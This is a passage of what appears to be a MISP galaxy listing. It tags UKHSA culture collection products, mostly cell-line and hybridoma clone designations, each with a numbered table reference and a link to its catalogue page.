https://www.culturecollections.org.uk/nop/product/afrc-iah-cc29

AFRC IAH-CC21

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC21"*

Table 31912. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc21

AFRC IAH-CC20

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC20"*

Table 31913. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc20

AFRC IAH-CC17

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC17"*

Table 31914. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc17

AFRC IAH-CC15

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC15"*

Table 31915. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc15

AFRC IAH-CC14

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC14"*

Table 31916. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc14

AFRC IAH-CC13

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC13"*

Table 31917. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc13

A2B5 clone 105

The tag is: *misp-galaxy:ukhsa-culture-collections="A2B5 clone 105"*

Table 31918. Table References

Links
https://www.culturecollections.org.uk/nop/product/a2b5-clone-105

A1H4

The tag is: *misp-galaxy:ukhsa-culture-collections="A1H4"*

Table 31919. Table References

Links
https://www.culturecollections.org.uk/nop/product/a1h4

8D12

The tag is: *misp-galaxy:ukhsa-culture-collections="8D12"*

Table 31920. Table References

Links
https://www.culturecollections.org.uk/nop/product/8d12

8A12

The tag is: *misp-galaxy:ukhsa-culture-collections="8A12"*

Table 31921. Table References

Links
https://www.culturecollections.org.uk/nop/product/8a12

86D

The tag is: *misp-galaxy:ukhsa-culture-collections="86D"*

Table 31922. Table References

Links
https://www.culturecollections.org.uk/nop/product/86d

7.4.C4

The tag is: *misp-galaxy:ukhsa-culture-collections="7.4.C4"*

Table 31923. Table References

Links
https://www.culturecollections.org.uk/nop/product/74c4

7D4

The tag is: *misp-galaxy:ukhsa-culture-collections="7D4"*

Table 31924. Table References

Links
https://www.culturecollections.org.uk/nop/product/7d4

7C2

The tag is: *misp-galaxy:ukhsa-culture-collections="7C2"*

Table 31925. Table References

Links
https://www.culturecollections.org.uk/nop/product/7c2

73B

The tag is: *misp-galaxy:ukhsa-culture-collections="73B"*

Table 31926. Table References

Links
https://www.culturecollections.org.uk/nop/product/73b

J5

The tag is: *misp-galaxy:ukhsa-culture-collections="J5"*

Table 31927. Table References

Links
https://www.culturecollections.org.uk/nop/product/j5

IL-A88

The tag is: *misp-galaxy:ukhsa-culture-collections="IL-A88"*

Table 31928. Table References

Links
https://www.culturecollections.org.uk/nop/product/il-a88

IL-A71

The tag is: *misp-galaxy:ukhsa-culture-collections="IL-A71"*

Table 31929. Table References

Links
https://www.culturecollections.org.uk/nop/product/il-a71

IL-A59

The tag is: *misp-galaxy:ukhsa-culture-collections="IL-A59"*

Table 31930. Table References

Links
https://www.culturecollections.org.uk/nop/product/il-a59

IL-A58

The tag is: *misp-galaxy:ukhsa-culture-collections="IL-A58"*

Table 31931. Table References

Links
https://www.culturecollections.org.uk/nop/product/il-a58

IL-A57

The tag is: *misp-galaxy:ukhsa-culture-collections="IL-A57"*

Table 31932. Table References

Links
https://www.culturecollections.org.uk/nop/product/il-a57

IL-A50

The tag is: *misp-galaxy:ukhsa-culture-collections="IL-A50"*

Table 31933. Table References

Links
https://www.culturecollections.org.uk/nop/product/il-a50

IL-A46

The tag is: *misp-galaxy:ukhsa-culture-collections="IL-A46"*

Table 31934. Table References

Links
https://www.culturecollections.org.uk/nop/product/il-a46

IL-A42

The tag is: *misp-galaxy:ukhsa-culture-collections="IL-A42"*

Table 31935. Table References

Links
https://www.culturecollections.org.uk/nop/product/il-a42

IL-A43

The tag is: *misp-galaxy:ukhsa-culture-collections="IL-A43"*

Table 31936. Table References

Links
https://www.culturecollections.org.uk/nop/product/il-a43

IL-A30

The tag is: *misp-galaxy:ukhsa-culture-collections="IL-A30"*

Table 31937. Table References

Links
https://www.culturecollections.org.uk/nop/product/il-a30

IL-A29

The tag is: *misp-galaxy:ukhsa-culture-collections="IL-A29"*

Table 31938. Table References

Links
https://www.culturecollections.org.uk/nop/product/il-a29

IL-A24

The tag is: *misp-galaxy:ukhsa-culture-collections="IL-A24"*

Table 31939. Table References

Links
https://www.culturecollections.org.uk/nop/product/il-a24

IL-A21

The tag is: *misp-galaxy:ukhsa-culture-collections="IL-A21"*

Table 31940. Table References

Links
https://www.culturecollections.org.uk/nop/product/il-a21

IL-A2

The tag is: *misp-galaxy:ukhsa-culture-collections="IL-A2"*

Table 31941. Table References

Links
https://www.culturecollections.org.uk/nop/product/il-a2

6D8 MB4

The tag is: *misp-galaxy:ukhsa-culture-collections="6D8 MB4"*

Table 31942. Table References

Links
https://www.culturecollections.org.uk/nop/product/6d8-mb4

Myb2-32

The tag is: *misp-galaxy:ukhsa-culture-collections="Myb2-32"*

Table 31943. Table References

Links
https://www.culturecollections.org.uk/nop/product/myb2-32

AFRC MAC 54

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 54"*

Table 31944. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-54

AFRC MAC 2

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 2"*

Table 31945. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-2

THG3-MP-2-19-3-8

The tag is: *misp-galaxy:ukhsa-culture-collections="THG3-MP-2-19-3-8"*

Table 31946. Table References

Links
https://www.culturecollections.org.uk/nop/product/thg3-mp-2-19-3-8

Y13-259

The tag is: *misp-galaxy:ukhsa-culture-collections="Y13-259"*

Table 31947. Table References

Links
https://www.culturecollections.org.uk/nop/product/y13-259

SJK-287-38

The tag is: *misp-galaxy:ukhsa-culture-collections="SJK-287-38"*

Table 31948. Table References

Links
https://www.culturecollections.org.uk/nop/product/sjk-287-38

R4-6A2

The tag is: *misp-galaxy:ukhsa-culture-collections="R4-6A2"*

Table 31949. Table References

Links
https://www.culturecollections.org.uk/nop/product/r4-6a2

36F

The tag is: *misp-galaxy:ukhsa-culture-collections="36F"*

Table 31950. Table References

Links
https://www.culturecollections.org.uk/nop/product/36f

NRbM

The tag is: *misp-galaxy:ukhsa-culture-collections="NRbM"*

Table 31951. Table References

Links
https://www.culturecollections.org.uk/nop/product/nrbm

52-3D

The tag is: *misp-galaxy:ukhsa-culture-collections="52-3D"*

Table 31952. Table References

Links
https://www.culturecollections.org.uk/nop/product/52-3d

11-5F

The tag is: *misp-galaxy:ukhsa-culture-collections="11-5F"*

Table 31953. Table References

Links
https://www.culturecollections.org.uk/nop/product/11-5f

NI 3 416/6C6-6

The tag is: *misp-galaxy:ukhsa-culture-collections="NI 3 416/6C6-6"*

Table 31954. Table References

Links
https://www.culturecollections.org.uk/nop/product/ni-3-4166c6-6

NI 4 426/8B1-7

The tag is: *misp-galaxy:ukhsa-culture-collections="NI 4 426/8B1-7"*

Table 31955. Table References

Links
https://www.culturecollections.org.uk/nop/product/ni-4-4268b1-7

NI GM 465/7A6-37

The tag is: *misp-galaxy:ukhsa-culture-collections="NI GM 465/7A6-37"*

Table 31956. Table References

Links
https://www.culturecollections.org.uk/nop/product/ni-gm-4657a6-37

AFRC MAC 31

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 31"*

Table 31957. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-31

AFRC MAC 22

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 22"*

Table 31958. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-22

AFRC MAC 24

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 24"*

Table 31959. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-24

AFRC MAC 133

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 133"*

Table 31960. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-133

4.6.5a114K

The tag is: *misp-galaxy:ukhsa-culture-collections="4.6.5a114K"*

Table 31961. Table References

Links
https://www.culturecollections.org.uk/nop/product/465a114k

IC-09

The tag is: *misp-galaxy:ukhsa-culture-collections="IC-09"*

Table 31962. Table References

Links
https://www.culturecollections.org.uk/nop/product/ic-09

FW 4.101

The tag is: *misp-galaxy:ukhsa-culture-collections="FW 4.101"*

Table 31963. Table References

Links
https://www.culturecollections.org.uk/nop/product/fw-4101

20.27 (SBU-T6, anti-CD1)

The tag is: *misp-galaxy:ukhsa-culture-collections="20.27 (SBU-T6, anti-CD1)"*

Table 31964. Table References

Links
https://www.culturecollections.org.uk/nop/product/2027-sbu-t6-anti-cd1

VPM 38

The tag is: *misp-galaxy:ukhsa-culture-collections="VPM 38"*

Table 31965. Table References

Links
https://www.culturecollections.org.uk/nop/product/vpm-38

VPM 44

The tag is: *misp-galaxy:ukhsa-culture-collections="VPM 44"*

Table 31966. Table References

Links
https://www.culturecollections.org.uk/nop/product/vpm-44

50-11-10

The tag is: *misp-galaxy:ukhsa-culture-collections="50-11-10"*

Table 31967. Table References

Links
https://www.culturecollections.org.uk/nop/product/50-11-10

13C4

The tag is: *misp-galaxy:ukhsa-culture-collections="13C4"*

Table 31968. Table References

Links
https://www.culturecollections.org.uk/nop/product/13c4

Myb2-7

The tag is: *misp-galaxy:ukhsa-culture-collections="Myb2-7"*

Table 31969. Table References

Links
https://www.culturecollections.org.uk/nop/product/myb2-7

Myb2-37

The tag is: *misp-galaxy:ukhsa-culture-collections="Myb2-37"*

Table 31970. Table References

Links
https://www.culturecollections.org.uk/nop/product/myb2-37

AFRC MAC 52

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 52"*

Table 31971. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-52

FS6-14.13 Ag2.1

The tag is: *misp-galaxy:ukhsa-culture-collections="FS6-14.13 Ag2.1"*

Table 31972. Table References

Links
https://www.culturecollections.org.uk/nop/product/fs6-1413-ag21

CT9-B7

The tag is: *misp-galaxy:ukhsa-culture-collections="CT9-B7"*

Table 31973. Table References

Links
https://www.culturecollections.org.uk/nop/product/ct9-b7

AFRC MAC 10

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 10"*

Table 31974. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-10

OKT1

The tag is: *misp-galaxy:ukhsa-culture-collections="OKT1"*

Table 31975. Table References

Links
https://www.culturecollections.org.uk/nop/product/okt1

OKT9

The tag is: *misp-galaxy:ukhsa-culture-collections="OKT9"*

Table 31976. Table References

Links
https://www.culturecollections.org.uk/nop/product/okt9

AFRC MAC 12

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 12"*

Table 31977. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-12

OKT11

The tag is: *misp-galaxy:ukhsa-culture-collections="OKT11"*

Table 31978. Table References

Links
https://www.culturecollections.org.uk/nop/product/okt11

Y13-238

The tag is: *misp-galaxy:ukhsa-culture-collections="Y13-238"*

Table 31979. Table References

Links
https://www.culturecollections.org.uk/nop/product/y13-238

AFRC MAC 259

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 259"*

Table 31980. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-259

R73

The tag is: *misp-galaxy:ukhsa-culture-collections="R73"*

Table 31981. Table References

Links
https://www.culturecollections.org.uk/nop/product/r73

F10-150

The tag is: *misp-galaxy:ukhsa-culture-collections="F10-150"*

Table 31982. Table References

Links
https://www.culturecollections.org.uk/nop/product/f10-150

357-167-24

The tag is: *misp-galaxy:ukhsa-culture-collections="357-167-24"*

Table 31983. Table References

Links
https://www.culturecollections.org.uk/nop/product/357-167-24

MT3/B4

The tag is: *misp-galaxy:ukhsa-culture-collections="MT3/B4"*

Table 31984. Table References

Links
https://www.culturecollections.org.uk/nop/product/mt3b4

NI 3 416/7B5-5

The tag is: *misp-galaxy:ukhsa-culture-collections="NI 3 416/7B5-5"*

Table 31985. Table References

Links
https://www.culturecollections.org.uk/nop/product/ni-3-4167b5-5

NI 4 426/1A6-10

The tag is: *misp-galaxy:ukhsa-culture-collections="NI 4 426/1A6-10"*

Table 31986. Table References

Links
https://www.culturecollections.org.uk/nop/product/ni-4-4261a6-10

3.C2

The tag is: *misp-galaxy:ukhsa-culture-collections="3.C2"*

Table 31987. Table References

Links
https://www.culturecollections.org.uk/nop/product/3c2

AFRC MAC 27

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 27"*

Table 31988. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-27

AFRC MAC 132

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 132"*

Table 31989. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-132

AFRC MAC 130

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 130"*

Table 31990. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-130

Z34

The tag is: *misp-galaxy:ukhsa-culture-collections="Z34"*

Table 31991. Table References

Links
https://www.culturecollections.org.uk/nop/product/z34

6.23.58K

The tag is: *misp-galaxy:ukhsa-culture-collections="6.23.58K"*

Table 31992. Table References

Links
https://www.culturecollections.org.uk/nop/product/62358k

LR-3

The tag is: *misp-galaxy:ukhsa-culture-collections="LR-3"*

Table 31993. Table References

Links
https://www.culturecollections.org.uk/nop/product/lr-3

20.76

The tag is: *misp-galaxy:ukhsa-culture-collections="20.76"*

Table 31994. Table References

Links
https://www.culturecollections.org.uk/nop/product/2076

SW73.2

The tag is: *misp-galaxy:ukhsa-culture-collections="SW73.2"*

Table 31995. Table References

Links
https://www.culturecollections.org.uk/nop/product/sw732

VPM 8

The tag is: *misp-galaxy:ukhsa-culture-collections="VPM 8"*

Table 31996. Table References

Links
https://www.culturecollections.org.uk/nop/product/vpm-8

VPM 18

The tag is: *misp-galaxy:ukhsa-culture-collections="VPM 18"*

Table 31997. Table References

Links
https://www.culturecollections.org.uk/nop/product/vpm-18

VPM 19

The tag is: *misp-galaxy:ukhsa-culture-collections="VPM 19"*

Table 31998. Table References

Links
https://www.culturecollections.org.uk/nop/product/vpm-19

VPM 41

The tag is: *misp-galaxy:ukhsa-culture-collections="VPM 41"*

Table 31999. Table References

Links
https://www.culturecollections.org.uk/nop/product/vpm-41

VPM 43

The tag is: *misp-galaxy:ukhsa-culture-collections="VPM 43"*

Table 32000. Table References

Links
https://www.culturecollections.org.uk/nop/product/vpm-43

VPM 45

The tag is: *misp-galaxy:ukhsa-culture-collections="VPM 45"*

Table 32001. Table References

Links
https://www.culturecollections.org.uk/nop/product/vpm-45

1B8-F11

The tag is: *misp-galaxy:ukhsa-culture-collections="1B8-F11"*

Table 32002. Table References

Links
https://www.culturecollections.org.uk/nop/product/1b8-f11

HA cl. 55

The tag is: *misp-galaxy:ukhsa-culture-collections="HA cl. 55"*

Table 32003. Table References

Links
https://www.culturecollections.org.uk/nop/product/ha-cl-55

AFRC IAH-CC32

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC32"*

Table 32004. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc32

AFRC IAH-CC94

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC94"*

Table 32005. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc94

AFRC IAH-CC104

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC104"*

Table 32006. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc104

53B3

The tag is: *misp-galaxy:ukhsa-culture-collections="53B3"*

Table 32007. Table References

Links
https://www.culturecollections.org.uk/nop/product/53b3

Mycl-8F9

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycl-8F9"*

Table 32008. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycl-8f9

AFRC MAC 3

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 3"*

Table 32009. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-3

AFRC MAC 5

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 5"*

Table 32010. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-5

AFRC MAC 11

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 11"*

Table 32011. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-11

H9-14.8

The tag is: *misp-galaxy:ukhsa-culture-collections="H9-14.8"*

Table 32012. Table References

Links
https://www.culturecollections.org.uk/nop/product/h9-148

OKM1

The tag is: *misp-galaxy:ukhsa-culture-collections="OKM1"*

Table 32013. Table References

Links
https://www.culturecollections.org.uk/nop/product/okm1

F3-87-8-1

The tag is: *misp-galaxy:ukhsa-culture-collections="F3-87-8-1"*

Table 32014. Table References

Links
https://www.culturecollections.org.uk/nop/product/f3-87-8-1

CIIC1

The tag is: *misp-galaxy:ukhsa-culture-collections="CIIC1"*

Table 32015. Table References

Links
https://www.culturecollections.org.uk/nop/product/ciic1

AFRC MAC 260

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 260"*

Table 32016. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-260

2D12

The tag is: *misp-galaxy:ukhsa-culture-collections="2D12"*

Table 32017. Table References

Links
https://www.culturecollections.org.uk/nop/product/2d12

Clone 218

The tag is: *misp-galaxy:ukhsa-culture-collections="Clone 218"*

Table 32018. Table References

Links
https://www.culturecollections.org.uk/nop/product/clone-218

359-238-8

The tag is: *misp-galaxy:ukhsa-culture-collections="359-238-8"*

Table 32019. Table References

Links
https://www.culturecollections.org.uk/nop/product/359-238-8

NI G 386/3D1-16

The tag is: *misp-galaxy:ukhsa-culture-collections="NI G 386/3D1-16"*

Table 32020. Table References

Links
https://www.culturecollections.org.uk/nop/product/ni-g-3863d1-16

NI G 386/3B6-12

The tag is: *misp-galaxy:ukhsa-culture-collections="NI G 386/3B6-12"*

Table 32021. Table References

Links
https://www.culturecollections.org.uk/nop/product/ni-g-3863b6-12

455

The tag is: *misp-galaxy:ukhsa-culture-collections="455"*

Table 32022. Table References

Links
https://www.culturecollections.org.uk/nop/product/455

FL.1

The tag is: *misp-galaxy:ukhsa-culture-collections="FL.1"*

Table 32023. Table References

Links
https://www.culturecollections.org.uk/nop/product/fl1

AFRC MAC 29

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 29"*

Table 32024. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-29

IC-01

The tag is: *misp-galaxy:ukhsa-culture-collections="IC-01"*

Table 32025. Table References

Links
https://www.culturecollections.org.uk/nop/product/ic-01

F10-150.58

The tag is: *misp-galaxy:ukhsa-culture-collections="F10-150.58"*

Table 32026. Table References

Links
https://www.culturecollections.org.uk/nop/product/f10-15058

VPM 5

The tag is: *misp-galaxy:ukhsa-culture-collections="VPM 5"*

Table 32027. Table References

Links
https://www.culturecollections.org.uk/nop/product/vpm-5

VPM 40

The tag is: *misp-galaxy:ukhsa-culture-collections="VPM 40"*

Table 32028. Table References

Links
https://www.culturecollections.org.uk/nop/product/vpm-40

VPM 46

The tag is: *misp-galaxy:ukhsa-culture-collections="VPM 46"*

Table 32029. Table References

Links
https://www.culturecollections.org.uk/nop/product/vpm-46

BF-11

The tag is: *misp-galaxy:ukhsa-culture-collections="BF-11"*

Table 32030. Table References

Links
https://www.culturecollections.org.uk/nop/product/bf-11

ED8

The tag is: *misp-galaxy:ukhsa-culture-collections="ED8"*

Table 32031. Table References

Links
https://www.culturecollections.org.uk/nop/product/ed8

AFRC MAC 51

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 51"*

Table 32032. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-51

50 AZA SEL

The tag is: *misp-galaxy:ukhsa-culture-collections="50 AZA SEL"*

Table 32033. Table References

Links
https://www.culturecollections.org.uk/nop/product/50-aza-sel

CT14-B2

The tag is: *misp-galaxy:ukhsa-culture-collections="CT14-B2"*

Table 32034. Table References

Links
https://www.culturecollections.org.uk/nop/product/ct14-b2

AFRC MAC 18

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 18"*

Table 32035. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-18

AFRC MAC 57

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 57"*

Table 32036. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-57

PAP 7

The tag is: *misp-galaxy:ukhsa-culture-collections="PAP 7"*

Table 32037. Table References

Links
https://www.culturecollections.org.uk/nop/product/pap-7

OKT10

The tag is: *misp-galaxy:ukhsa-culture-collections="OKT10"*

Table 32038. Table References

Links
https://www.culturecollections.org.uk/nop/product/okt10

OKT6

The tag is: *misp-galaxy:ukhsa-culture-collections="OKT6"*

Table 32039. Table References

Links
https://www.culturecollections.org.uk/nop/product/okt6

THG3-B5-13

The tag is: *misp-galaxy:ukhsa-culture-collections="THG3-B5-13"*

Table 32040. Table References

Links
https://www.culturecollections.org.uk/nop/product/thg3-b5-13

PC615.3

The tag is: *misp-galaxy:ukhsa-culture-collections="PC615.3"*

Table 32041. Table References

Links
https://www.culturecollections.org.uk/nop/product/pc6153

SJK-132-20

The tag is: *misp-galaxy:ukhsa-culture-collections="SJK-132-20"*

Table 32042. Table References

Links
https://www.culturecollections.org.uk/nop/product/sjk-132-20

OKT5

The tag is: *misp-galaxy:ukhsa-culture-collections="OKT5"*

Table 32043. Table References

Links
https://www.culturecollections.org.uk/nop/product/okt5

YBM 15.1.6

The tag is: *misp-galaxy:ukhsa-culture-collections="YBM 15.1.6"*

Table 32044. Table References

Links
https://www.culturecollections.org.uk/nop/product/ybm-1516

MN4-91-6.E2

The tag is: *misp-galaxy:ukhsa-culture-collections="MN4-91-6.E2"*

Table 32045. Table References

Links
https://www.culturecollections.org.uk/nop/product/mn4-91-6e2

25-32

The tag is: *misp-galaxy:ukhsa-culture-collections="25-32"*

Table 32046. Table References

Links
https://www.culturecollections.org.uk/nop/product/25-32

17D

The tag is: *misp-galaxy:ukhsa-culture-collections="17D"*

Table 32047. Table References

Links
https://www.culturecollections.org.uk/nop/product/17d

L180/1

The tag is: *misp-galaxy:ukhsa-culture-collections="L180/1"*

Table 32048. Table References

Links
https://www.culturecollections.org.uk/nop/product/l1801

357-101-4

The tag is: *misp-galaxy:ukhsa-culture-collections="357-101-4"*

Table 32049. Table References

Links
https://www.culturecollections.org.uk/nop/product/357-101-4

NI 4 426/7A3-3

The tag is: *misp-galaxy:ukhsa-culture-collections="NI 4 426/7A3-3"*

Table 32050. Table References

Links
https://www.culturecollections.org.uk/nop/product/ni-4-4267a3-3

TM1

The tag is: *misp-galaxy:ukhsa-culture-collections="TM1"*

Table 32051. Table References

Links
https://www.culturecollections.org.uk/nop/product/tm1

AFRC MAC 127

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 127"*

Table 32052. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-127

AFRC MAC 23

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 23"*

Table 32053. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-23

AFRC MAC 129

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 129"*

Table 32054. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-129

Z26

The tag is: *misp-galaxy:ukhsa-culture-collections="Z26"*

Table 32055. Table References

Links
https://www.culturecollections.org.uk/nop/product/z26

Z41

The tag is: *misp-galaxy:ukhsa-culture-collections="Z41"*

Table 32056. Table References

Links
https://www.culturecollections.org.uk/nop/product/z41

Z2

The tag is: *misp-galaxy:ukhsa-culture-collections="Z2"*

Table 32057. Table References

Links
https://www.culturecollections.org.uk/nop/product/z2

IC-07

The tag is: *misp-galaxy:ukhsa-culture-collections="IC-07"*

Table 32058. Table References

Links
https://www.culturecollections.org.uk/nop/product/ic-07

54B3

The tag is: *misp-galaxy:ukhsa-culture-collections="54B3"*

Table 32059. Table References

Links
https://www.culturecollections.org.uk/nop/product/54b3

537-B1-1

The tag is: *misp-galaxy:ukhsa-culture-collections="537-B1-1"*

Table 32060. Table References

Links
https://www.culturecollections.org.uk/nop/product/537-b1-1

VPM 36

The tag is: *misp-galaxy:ukhsa-culture-collections="VPM 36"*

Table 32061. Table References

Links
https://www.culturecollections.org.uk/nop/product/vpm-36

VPM 48

The tag is: *misp-galaxy:ukhsa-culture-collections="VPM 48"*

Table 32062. Table References

Links
https://www.culturecollections.org.uk/nop/product/vpm-48

TFT B1

The tag is: *misp-galaxy:ukhsa-culture-collections="TFT B1"*

Table 32063. Table References

Links
https://www.culturecollections.org.uk/nop/product/tft-b1

2H6-C2

The tag is: *misp-galaxy:ukhsa-culture-collections="2H6-C2"*

Table 32064. Table References

Links
https://www.culturecollections.org.uk/nop/product/2h6-c2

AFRC IAH-CC1

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC IAH-CC1"*

Table 32065. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-iah-cc1

MCP21

The tag is: *misp-galaxy:ukhsa-culture-collections="MCP21"*

Table 32066. Table References

Links
https://www.culturecollections.org.uk/nop/product/mcp21

AFRC MAC 48

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 48"*

Table 32067. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-48

AFRC MAC 49

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 49"*

Table 32068. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-49

GA4

The tag is: *misp-galaxy:ukhsa-culture-collections="GA4"*

Table 32069. Table References

Links
https://www.culturecollections.org.uk/nop/product/ga4

Mycl-3C7

The tag is: *misp-galaxy:ukhsa-culture-collections="Mycl-3C7"*

Table 32070. Table References

Links
https://www.culturecollections.org.uk/nop/product/mycl-3c7

AFRC MAC 50

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 50"*

Table 32071. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-50

OKT8

The tag is: *misp-galaxy:ukhsa-culture-collections="OKT8"*

Table 32072. Table References

Links
https://www.culturecollections.org.uk/nop/product/okt8

PAP 8

The tag is: *misp-galaxy:ukhsa-culture-collections="PAP 8"*

Table 32073. Table References

Links
https://www.culturecollections.org.uk/nop/product/pap-8

OKT4

The tag is: *misp-galaxy:ukhsa-culture-collections="OKT4"*

Table 32074. Table References

Links
https://www.culturecollections.org.uk/nop/product/okt4

YBM 6.1.10

The tag is: *misp-galaxy:ukhsa-culture-collections="YBM 6.1.10"*

Table 32075. Table References

Links
https://www.culturecollections.org.uk/nop/product/ybm-6110

Mc 39-16

The tag is: *misp-galaxy:ukhsa-culture-collections="Mc 39-16"*

Table 32076. Table References

Links
https://www.culturecollections.org.uk/nop/product/mc-39-16

FW3-47

The tag is: *misp-galaxy:ukhsa-culture-collections="FW3-47"*

Table 32077. Table References

Links
https://www.culturecollections.org.uk/nop/product/fw3-47

3C9-D11-H11

The tag is: *misp-galaxy:ukhsa-culture-collections="3C9-D11-H11"*

Table 32078. Table References

Links
https://www.culturecollections.org.uk/nop/product/3c9-d11-h11

2-179-E11

The tag is: *misp-galaxy:ukhsa-culture-collections="2-179-E11"*

Table 32079. Table References

Links
https://www.culturecollections.org.uk/nop/product/2-179-e11

359-81-11

The tag is: *misp-galaxy:ukhsa-culture-collections="359-81-11"*

Table 32080. Table References

Links
https://www.culturecollections.org.uk/nop/product/359-81-11

AFRC MAC 28

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 28"*

Table 32081. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-28

AFRC MAC 128

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 128"*

Table 32082. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-128

AFRC MAC 26

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 26"*

Table 32083. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-26

AFRC MAC 188

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC MAC 188"*

Table 32084. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-mac-188

PS/2

The tag is: *misp-galaxy:ukhsa-culture-collections="PS/2"*

Table 32085. Table References

Links
https://www.culturecollections.org.uk/nop/product/ps2

VPM 6

The tag is: *misp-galaxy:ukhsa-culture-collections="VPM 6"*

Table 32086. Table References

Links
https://www.culturecollections.org.uk/nop/product/vpm-6

VPM 37

The tag is: *misp-galaxy:ukhsa-culture-collections="VPM 37"*

Table 32087. Table References

Links
https://www.culturecollections.org.uk/nop/product/vpm-37

VPM 47

The tag is: *misp-galaxy:ukhsa-culture-collections="VPM 47"*

Table 32088. Table References

Links
https://www.culturecollections.org.uk/nop/product/vpm-47

VPM 54

The tag is: *misp-galaxy:ukhsa-culture-collections="VPM 54"*

Table 32089. Table References

Links
https://www.culturecollections.org.uk/nop/product/vpm-54

KM703

The tag is: *misp-galaxy:ukhsa-culture-collections="KM703"*

Table 32090. Table References

Links
https://www.culturecollections.org.uk/nop/product/km703

BC9

The tag is: *misp-galaxy:ukhsa-culture-collections="BC9"*

Table 32091. Table References

Links
https://www.culturecollections.org.uk/nop/product/bc9